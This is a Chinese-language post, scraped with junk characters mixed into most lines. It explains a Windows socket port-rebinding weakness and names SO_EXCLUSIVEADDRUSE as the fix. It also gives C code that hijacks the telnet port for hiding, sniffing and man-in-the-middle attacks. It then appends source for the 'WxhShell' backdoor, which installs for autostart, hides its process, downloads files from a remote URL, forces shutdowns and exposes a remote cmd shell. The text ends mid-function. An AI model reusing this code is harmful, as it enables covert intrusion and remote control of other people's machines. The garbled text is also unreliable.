在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
v ;{#Q&( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Dx?,=~W9 JXQO~zj saddr.sin_family = AF_INET;
RbnVL$c i&fuSk EP saddr.sin_addr.s_addr = htonl(INADDR_ANY);
&6!)jIWJ
8dA~\a bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
vI>w e K5h 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
t=iIY`Md% H%tdhu\e 这意味着什么?意味着可以进行如下的攻击:
(%6P0* >]TWXmx/w 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
9.-S(ZO C{rcs' 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
hi(;;C9 2F.;;Ab 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
ADzhNfS 'IQ0{&EI 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
]%H`_8<gc q54]1TQ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
cuITY^6 K69'6?# 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
/,yd+wcW# mq.`X:e 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
C<tl/NC dZ@63a>>@ #include
{JT&w6Jz #include
f8dB-FlMm #include
Zu[su>\ #include
b8UO,fY q DWORD WINAPI ClientThread(LPVOID lpParam);
Qw*|qGvy^ int main()
C&%_a~ {
{VRf0c WORD wVersionRequested;
CHX #^0m. DWORD ret;
Q)h(nbbVak WSADATA wsaData;
C1)!f j= BOOL val;
k y7Gwc SOCKADDR_IN saddr;
1))8
A@, SOCKADDR_IN scaddr;
oG\Vxg* int err;
H1./x6Hr SOCKET s;
S=5o
< 1 SOCKET sc;
lL3U8}vn int caddsize;
+r2-S~f3N HANDLE mt;
Jnov<+ DWORD tid;
d$!RZHo10V wVersionRequested = MAKEWORD( 2, 2 );
{EQOP] err = WSAStartup( wVersionRequested, &wsaData );
g) jYFfGfH if ( err != 0 ) {
~$^XP.a. printf("error!WSAStartup failed!\n");
}Sv:`9= return -1;
T0)@pt7> }
#\OA )`U saddr.sin_family = AF_INET;
~f98#43 rV#ch( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
gM:".Ee :$c
| saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
;.980+i1 saddr.sin_port = htons(23);
;e *!S}C, if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7!E,V:bt' {
} q8ASYNc printf("error!socket failed!\n");
zrb}_ return -1;
=7eV/3 }
8d'0N val = TRUE;
Wne@<+mX //SO_REUSEADDR选项就是可以实现端口重绑定的
^1.By^
$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
S,he6zS {
{`@G+JV~Jw printf("error!setsockopt failed!\n");
|CyE5i0 return -1;
5$k:t }
/\n-P'} //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
j\M?~=*w //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
@o`AmC.
8 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
L!xi '`Hr} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
iXjM.G {
<LiPEo.R ret=GetLastError();
#ABZ&Z printf("error!bind failed!\n");
f@!.mDm] return -1;
i/Zd8+.n$ }
-iZ`Y? listen(s,2);
OneY_<*a< while(1)
Q=$2c[Uk {
K}Qa~_ caddsize = sizeof(scaddr);
vFmZ<C'
) //接受连接请求
%pCTN P sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
es7=%!0 if(sc!=INVALID_SOCKET)
&oMh]Z*: {
"w<#^d_6 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
R:qW;n%AF if(mt==NULL)
H Pz+Dm {
(E1~H0^ printf("Thread Creat Failed!\n");
|FRg\#kf% break;
m8[j #=h }
pQB."[n }
%xLhZ\ CloseHandle(mt);
V0mn4sfs }
Ny/MJ#Lq closesocket(s);
Mi_$">1-W WSACleanup();
[$UI8tV return 0;
dM@1l1h/ }
J{G?-+` DWORD WINAPI ClientThread(LPVOID lpParam)
C0Z=~Q% {
>vsqG=x SOCKET ss = (SOCKET)lpParam;
_+MJ%'>S SOCKET sc;
GM<9p_
B unsigned char buf[4096];
f|gg SOCKADDR_IN saddr;
aN3;`~{9 long num;
?a]mDx>xh DWORD val;
)4 ;`^]F DWORD ret;
0"z9Q\{} //如果是隐藏端口应用的话,可以在此处加一些判断
9Mcae31 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
_yR^*}xJb saddr.sin_family = AF_INET;
e*1_ 8I#2 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
R4d=S4i saddr.sin_port = htons(23);
a 1*p*dM# if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
uB?ZcF}Tk {
"0TZTa1e printf("error!socket failed!\n");
)V9bI( v return -1;
lp8v0e4 }
dj%!I:Q>u val = 100;
G3v5KmT if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
/>>\IR {
_)-o1`*- ret = GetLastError();
mX|ojZ return -1;
q@2siI~W }
pfI&E#:5 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
I%Z {
Dvln/SBk ret = GetLastError();
!}$$: return -1;
TD_Oo-+\ }
*Pg2c(Vg if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ySI!d|_ {
/qw.p# printf("error!socket connect failed!\n");
PPsE${! closesocket(sc);
1h5 Akq closesocket(ss);
vZ Lf return -1;
}(u
ol }
e96k{C`j0 while(1)
gQ.Sa
j
$ {
FVBYo%Ap //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
x,V r=FB //如果是嗅探内容的话,可以再此处进行内容分析和记录
kU`r)=1" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
2J;g{95z num = recv(ss,buf,4096,0);
/Ci<xmP if(num>0)
;A[Q2(w+ send(sc,buf,num,0);
$ME)#( else if(num==0)
Kc(FX%3LU break;
0m ? )ROaJ num = recv(sc,buf,4096,0);
:BTq!>s if(num>0)
syK^<xa send(ss,buf,num,0);
TS5Q1+hWHV else if(num==0)
3R VR break;
cM7[_*Ot<m }
ehY5!D1Q closesocket(ss);
LOJAWR9$^U closesocket(sc);
:Ux_qB return 0 ;
ct}9i"H#1 }
e(G|;a GPkpXVm fikkY= ==========================================================
40
0#v|b v.5+7,4 下边附上一个代码,,WXhSHELL
)dSi/ 4X|zmr:A ==========================================================
xN%K^Tree ;bhT@aB1 #include "stdafx.h"
g=o4Q<
#^y po7q mLq #include <stdio.h>
v*yuE5{ #include <string.h>
1aABzB
^ #include <windows.h>
S21,VpW\ #include <winsock2.h>
f y8Uk; #include <winsvc.h>
j
<RrLn_ #include <urlmon.h>
#R
RRu2 7t_^8I%[ #pragma comment (lib, "Ws2_32.lib")
%u5]>]M+ #pragma comment (lib, "urlmon.lib")
Om {'1 dC4'{n|7 #define MAX_USER 100 // 最大客户端连接数
y* h<MQ #define BUF_SOCK 200 // sock buffer
6S\8$ #define KEY_BUFF 255 // 输入 buffer
{FTqu. @xZR9Z8]L #define REBOOT 0 // 重启
RCLeA=/N@0 #define SHUTDOWN 1 // 关机
4v|W-h"K u>/ TE #define DEF_PORT 5000 // 监听端口
61
~upQaR t&Og $@ #define REG_LEN 16 // 注册表键长度
BL58] P84 #define SVC_LEN 80 // NT服务名长度
RzusNS $u6
3]rypm // 从dll定义API
H 7
^/q7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
~< x:q6
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
y18Y:)DkL typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
6\S~P/PkE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Pr,q*_Yy *HB-QIl // wxhshell配置信息
#LN`X8Wz' struct WSCFG {
*4_Bd=5(U int ws_port; // 监听端口
s(roJbJ_; char ws_passstr[REG_LEN]; // 口令
>i-"<jG int ws_autoins; // 安装标记, 1=yes 0=no
dGTsc/$ char ws_regname[REG_LEN]; // 注册表键名
8e"gW >f char ws_svcname[REG_LEN]; // 服务名
O<W_fx8_' char ws_svcdisp[SVC_LEN]; // 服务显示名
-s'-eQF J char ws_svcdesc[SVC_LEN]; // 服务描述信息
K 'I#W
lg char ws_passmsg[SVC_LEN]; // 密码输入提示信息
pcI uN int ws_downexe; // 下载执行标记, 1=yes 0=no
PE 5G char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
{cw /!B char ws_filenam[SVC_LEN]; // 下载后保存的文件名
#yvGK:F eQvg7aO; };
-o
EW:~y 5QO9Q]I#_\ // default Wxhshell configuration
Jqi%|,/] N struct WSCFG wscfg={DEF_PORT,
-C&P%tt Y "xuhuanlingzhe",
vgN&K@hJ 1,
0'o:#- "Wxhshell",
w"&n?L "Wxhshell",
1ZB"EQ "WxhShell Service",
FN) $0 "Wrsky Windows CmdShell Service",
b*Q&CL "Please Input Your Password: ",
GNJj=1Lsd 1,
R_S.tT! "
http://www.wrsky.com/wxhshell.exe",
]:/Q]n^ "Wxhshell.exe"
01(AK% e };
*siFj
CN< R,=fv // 消息定义模块
iMRwp+$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
'(jG[ry&T char *msg_ws_prompt="\n\r? for help\n\r#>";
[;myHI`tw char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Nu~lsWyRI5 char *msg_ws_ext="\n\rExit.";
% +\."eC char *msg_ws_end="\n\rQuit.";
Hg (Gl char *msg_ws_boot="\n\rReboot...";
TrR8?- char *msg_ws_poff="\n\rShutdown...";
_/<x char *msg_ws_down="\n\rSave to ";
j^2j&Ta v1,oilL char *msg_ws_err="\n\rErr!";
gr-OHeid char *msg_ws_ok="\n\rOK!";
@49S` 0Pi:N{x8 char ExeFile[MAX_PATH];
&~U ] ~;@ int nUser = 0;
N_q|\S>t/ HANDLE handles[MAX_USER];
%3''}Y5
int OsIsNt;
P J[`| R0 SERVICE_STATUS serviceStatus;
K@w{"7} SERVICE_STATUS_HANDLE hServiceStatusHandle;
{3vNPQJ fL7xq$K // 函数声明
0% I=d int Install(void);
@>H75 int Uninstall(void);
,UdVNA int DownloadFile(char *sURL, SOCKET wsh);
xWQ`tWA:J int Boot(int flag);
t}/( b/VD void HideProc(void);
\mlqO[ S int GetOsVer(void);
0h7r&t%YsV int Wxhshell(SOCKET wsl);
>!)DM]Ri void TalkWithClient(void *cs);
Jma1N;d int CmdShell(SOCKET sock);
`%WU8Yv int StartFromService(void);
cD'V>[h int StartWxhshell(LPSTR lpCmdLine);
2WYPO"q fvxu#m= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
{h`uV/5@` VOID WINAPI NTServiceHandler( DWORD fdwControl );
>`ZyG5 Jo23P.#< // 数据结构和表定义
1|-Dj| SERVICE_TABLE_ENTRY DispatchTable[] =
8E]F$.6U {
RhLVg~x {wscfg.ws_svcname, NTServiceMain},
3I-MdApT {NULL, NULL}
o J;$sj };
rguC p}r Gjo` // 自我安装
u!qP int Install(void)
h>OfOx/{q9 {
2x0<&Xy#P char svExeFile[MAX_PATH];
hODWB&b HKEY key;
'Ne@e)s9 strcpy(svExeFile,ExeFile);
0}quG^%_ EG |A_m85 // 如果是win9x系统,修改注册表设为自启动
e.V:)7Uc if(!OsIsNt) {
^eYVWQ' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,{?%m6.lE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}Y36C.@H RegCloseKey(key);
vn"{I&L+w0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!ff&W1@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$(>+VH`l RegCloseKey(key);
R`^_(yn> return 0;
m5Di=8 }
N7R!C)!IL }
F6flIG&h }
;cN{a& else {
>[=^_8M 9j:"J` ' // 如果是NT以上系统,安装为系统服务
E\pL!c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
\&gB)czEO if (schSCManager!=0)
zu|\fP {
2WxQ(:d= SC_HANDLE schService = CreateService
X1vd'> (
HJYScwjQ;` schSCManager,
Z^MNf wscfg.ws_svcname,
<1\Nb{5 wscfg.ws_svcdisp,
.gOL1`b* SERVICE_ALL_ACCESS,
?o#%Xs SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
?zHPJLv|Y SERVICE_AUTO_START,
LW_f SERVICE_ERROR_NORMAL,
MfQ?W`Kop svExeFile,
@A^;jk NULL,
k-OPU, NULL,
=xx]@ NULL,
'qX|jtdM NULL,
G<rHkt@[ NULL
#d2.\X}A"3 );
z]D69O b if (schService!=0)
*w0%d1 {
Jcm&RI"{ CloseServiceHandle(schService);
oJ|j#+Ft CloseServiceHandle(schSCManager);
SPmq4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
a8Nh=^Py strcat(svExeFile,wscfg.ws_svcname);
mmRJ9OhS if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Ob&<] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
uw+M RegCloseKey(key);
|02gup qqi return 0;
i|*)I:SHU }
'o>B'$ }
-"60d
@. CloseServiceHandle(schSCManager);
=CVB BuVy }
}"!I[Ek> y }
:I^;jdL b9<#K+L- return 1;
t$#jL5 }
|f_[\&<* A*P|e-&Q8 // 自我卸载
p/@smke int Uninstall(void)
74k dsgQf {
.rqhi HKEY key;
cI?8RF(; +jnJ|h({ if(!OsIsNt) {
M>ruKHipFE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@8rx`9 RegDeleteValue(key,wscfg.ws_regname);
G@jZ)2
RegCloseKey(key);
:~N-.# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ly_HWuFJ3 RegDeleteValue(key,wscfg.ws_regname);
TXvI4"& RegCloseKey(key);
K\6u9BYG return 0;
!sW(wAy?o }
@x'"~"%7b }
[o+q>|q }
TOXfWEU3> else {
e)#J1(j_ h2J/c#Qvh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
8~z~_TD6m@ if (schSCManager!=0)
6){]1h" {
dD|OSB7I7 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
^pF&`2eD if (schService!=0)
QD*35Y!d {
YhE+W if(DeleteService(schService)!=0) {
WE.{p> CloseServiceHandle(schService);
P0j8- I CloseServiceHandle(schSCManager);
p(`6hWx return 0;
(w/T-* }
Xe:jAkDp CloseServiceHandle(schService);
B
s#hr3h- }
.|b$NM CloseServiceHandle(schSCManager);
8sM|%<$=j }
EL 8<U }
l@+7:n4K0 JJ2_hVU return 1;
sjwo/+2 }
9s$CA4?HP [b>Fn%y // 从指定url下载文件
>A"v ed8 int DownloadFile(char *sURL, SOCKET wsh)
![_*(8v}S {
\T :i{.i HRESULT hr;
6BbGA*%{ char seps[]= "/";
|G,tlchprs char *token;
"(z5{z?S char *file;
vyX\'r.~7 char myURL[MAX_PATH];
r6}
|hpJ8 char myFILE[MAX_PATH];
Q)"Nu.m
& 7k9G(i[-+ strcpy(myURL,sURL);
3|4|*6 token=strtok(myURL,seps);
`e|0g"oP while(token!=NULL)
<vh/4 {
kJzoFFWo$ file=token;
6qoyiT%P& token=strtok(NULL,seps);
[] `&vWZ }
QaS7z#/?. h
WtVWVNL GetCurrentDirectory(MAX_PATH,myFILE);
2ZMb<b4H strcat(myFILE, "\\");
e .2ib?8 strcat(myFILE, file);
-vR5BMy= send(wsh,myFILE,strlen(myFILE),0);
UT=tT)4b send(wsh,"...",3,0);
9m<jcxla$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
],FMwCI if(hr==S_OK)
9~mh@Kgv return 0;
bg&zo;Ck8T else
;/fF,L{c return 1;
X>(TrdK_9" ~yfNxH~k }
n}_JB>i~ ")dH,:#S // 系统电源模块
V#t%/l int Boot(int flag)
qx8fRIK% {
o+QE8H43 HANDLE hToken;
f]|ysf TOKEN_PRIVILEGES tkp;
YY)s p% S=<}:#;u0 if(OsIsNt) {
1#*a:F&re OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
M/ni6%x LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Jz.NHiLct1 tkp.PrivilegeCount = 1;
TYmP) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-pa )K"z AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
?_$=l1vf if(flag==REBOOT) {
y?m/*hh` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
G_{&sa return 0;
6@e+C;j= }
ujaGNg?, else {
LuSLkLN if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
%Bn?n{/ return 0;
fA<[f }
(m.ob+D }
8a="/J else {
XKttZOiGT if(flag==REBOOT) {
OjF_ %5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Ib\iT:AJ return 0;
YN2sdG }
wztA3ZL*W1 else {
H!nr^l'+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
`m>*d!h= return 0;
:x{NBvUIc }
#H{<gjs] }
(
Qcp{q Y/ee~^YxK' return 1;
`m?c;,\ }
qT"Q1xU[ Bck7\ // win9x进程隐藏模块
m~Bl*`~M void HideProc(void)
,:`4% {
jJY"{foWV f3{MvAy[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
:Jy'#c if ( hKernel != NULL )
C] 9p5Hs {
*R3f{/DK pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
PBxCx3a{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
X4t s)>"d FreeLibrary(hKernel);
;A'Z4=*~ }
2
:mn</z 0-|byAh return;
\B 0ywN? }
;3: q?& !{)tSipd // 获取操作系统版本
xw
T%), int GetOsVer(void)
a{J,~2> {
dBe`p5Z OSVERSIONINFO winfo;
oiyzHx winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
s]mY*@a% GetVersionEx(&winfo);
dd%h67J2< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
:
G`hm{ return 1;
>teOm?@U else
\ZhfgE8{% return 0;
~r$jza~o( }
]Xf% ,iu UIAj] // 客户端句柄模块
x-<)\L& int Wxhshell(SOCKET wsl)
gV`=jAE_ {
[],1lRYI9_ SOCKET wsh;
13%t"-@bh struct sockaddr_in client;
^;maotHn DWORD myID;
MpqZH{:?G CI
:`<PZ\- while(nUser<MAX_USER)
t" 7yNs(I {
;VNMD 6H int nSize=sizeof(client);
f0<%&2ym wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
bi&*9K0 if(wsh==INVALID_SOCKET) return 1;
HJ[/|NZU$ wTGbd handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
""h)LUrl if(handles[nUser]==0)
"+
>SJ~ closesocket(wsh);
,H2D else
f{i8w!O"~ nUser++;
UH>F|3"d }
a/U2xq{x WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
PN<C=gAe bb`':3% return 0;
P<2+L|X?} }
|vMpXiMxxT |*Yf.- // 关闭 socket
L IVU^Os. void CloseIt(SOCKET wsh)
-0eq_+oQ {
uy^ closesocket(wsh);
V&|Ed nUser--;
?EpSC&S\ ExitThread(0);
E)-r+ <l }
}KK Y6D|d> X3:XTuV // 客户端请求句柄
2gjGeM void TalkWithClient(void *cs)
zrv#Xa!O\ {
^6P3% 6ubL1K SOCKET wsh=(SOCKET)cs;
fr}Eaa-{^ char pwd[SVC_LEN];
X _G| hx char cmd[KEY_BUFF];
j:&4-K};Z` char chr[1];
|*X*n*oI int i,j;
K+)%KP zYv#:>C8 while (nUser < MAX_USER) {
|Uk"
{ q;D+ai if(wscfg.ws_passstr) {
F@!Td(r2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
qG/fE'(j& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Hiv!BV| //ZeroMemory(pwd,KEY_BUFF);
w pt='( i=0;
%?hsoj&k while(i<SVC_LEN) {
m8JR@!t7 Ty@=yA17 // 设置超时
,j ',x\ fd_set FdRead;
q
)lnS ) struct timeval TimeOut;
FvuGup`w FD_ZERO(&FdRead);
%q322->Z FD_SET(wsh,&FdRead);
hv$m4,0WB TimeOut.tv_sec=8;
f8<o8*`7 TimeOut.tv_usec=0;
R%H$%cnj int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
%F9{EXJy if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
o}'bv \cJ-Dd if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
$]&(7@'qo pwd
=chr[0]; vNOH&ja-s
if(chr[0]==0xd || chr[0]==0xa) { b*mKei
pwd=0; >x@P|\
break; c<BO gNr
} CG&`16KN7
i++; Koln9'tB
} tPyyZ#,
desThnTw
// 如果是非法用户,关闭 socket ,kp\(X[J
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E%TpJl'U
} 9>#:/g/
rf9_eP
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pA#}-S%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (|fm6$
zggB$5
while(1) { YEx)"t8E
?Jusl8Sm
ZeroMemory(cmd,KEY_BUFF); wVA|!>v
XfzVcap
// 自动支持客户端 telnet标准 PaCzr5!~f
j=0; q 'a
while(j<KEY_BUFF) { "?GebA
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZDYJhJ.
cmd[j]=chr[0]; Zz |MIGHm
if(chr[0]==0xa || chr[0]==0xd) { Bl1Z4` 3
cmd[j]=0; rn:!dV[
break; 6Bm9?eU0
} 6`"M
j++; SnTDLa
} ])#\_'fg
%im#ww L%
// 下载文件 ,rwuy[Q8
if(strstr(cmd,"http://")) { w[Ep*-yeI
send(wsh,msg_ws_down,strlen(msg_ws_down),0); npu6E;'l*
if(DownloadFile(cmd,wsh)) $
Cjk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); agOk*wH5
else i!dv0|_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \H5Jk$*
} Px'!;
else { F[7x*-NO-
bT!($?GNdg
switch(cmd[0]) { snp v z1iS
d2ENm%q*PX
// 帮助 7TX,T|>9
case '?': { VLg
EX4
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *Wb=WM-.
break; )yb+M ez
} SHqyvF
// 安装 6=PiVwI
case 'i': { 4DO/rtkVq
if(Install()) VAYb=4lt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Nx
W=79t
else g.#+z'l
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H.J5i~s
break; ?&h3P8
} =ziy`#fm,
// 卸载 OalP1Gy
case 'r': { 2+92Q_+
if(Uninstall()) D\T!4q'Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bn 4
&O
else 8]0:1
{@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qGPb
break; %bX0 mN
} MdhT!?
// 显示 wxhshell 所在路径 R/<=mZ
case 'p': { $)e:8jS=
char svExeFile[MAX_PATH];
td(M#a-
strcpy(svExeFile,"\n\r"); VKLU0*2R
strcat(svExeFile,ExeFile); ~j,TVY
send(wsh,svExeFile,strlen(svExeFile),0); C'9 1d7E
break; Q)Dwq?
} +~|AT+|iI
// 重启 1}`LTPW9
case 'b': { RyRqH:p)3
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~' =lou
if(Boot(REBOOT)) voRfjsS~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <qiICb)~
else { DB&SOe
closesocket(wsh); hD 46@
ExitThread(0); ! VRI_c
} z-0:m|=yH
break; H$-$2?5
} o|287S|$
// 关机 C?QfF{!7
case 'd': { t,vTAq.))
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $M]%vG
if(Boot(SHUTDOWN)) A"/aGCG0z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >7>7/7=O
else { +|nsu4t,<
closesocket(wsh); .Y/-8H-3v
ExitThread(0); `5"/dC
} s%dF~DSK
break; ehc<|O9tY
} @&/\r
7
'
// 获取shell ?2~U2Ir]:
case 's': { PF ;YE6
CmdShell(wsh); cy:;)E>/
closesocket(wsh); 8 G?b.NE^
ExitThread(0); V}`M<A6:
break; *t=i
} '=%i,
// 退出 7L{li-crI
case 'x': { p6blD-v
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !=M/j}
CloseIt(wsh); 6bL"LM`s
break; lgG8!Ja
} Kpu<rKP`
// 离开 j-P^Zv};u
case 'q': { FYeEG
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [u\CD sX
closesocket(wsh); px&=((Z7>
WSACleanup(); [>uwk``_
exit(1); iy
3DX|]
break; [oHOHp/V
} Pw#2<>
} M-91
JOt~
} M]s[ "0O
],V
kp
// 提示信息 ag/u8
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2<.Vv\
=
} n^Au*'
} |7S:l9;
F9D"kG;Dk
return; lWl-@*'
} w})NmaT;YF
`hF;$
// shell模块句柄 g Np-f
int CmdShell(SOCKET sock) ?hSha)1:
{ WA$ p_% r=
STARTUPINFO si; & ^!v*=z
ZeroMemory(&si,sizeof(si)); y%g`FC
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;G$)MS'nB
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "11j$E9#\n
PROCESS_INFORMATION ProcessInfo; <d<RK@2-
char cmdline[]="cmd"; 9_`3IJ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :,=Fx</H
return 0; fsb=8>}63}
} Pu/lpHm|
=[8d@d\
// 自身启动模式 QW:Z[?39^
int StartFromService(void) 0JOju$Bl,
{ _9qEZV
typedef struct i-Ljff
{ r?XDvU
DWORD ExitStatus; C_89YFn+
DWORD PebBaseAddress; a j_:|]j
DWORD AffinityMask; R mgxf/
DWORD BasePriority; 1#kawU6[]
ULONG UniqueProcessId; %[+/>e/m
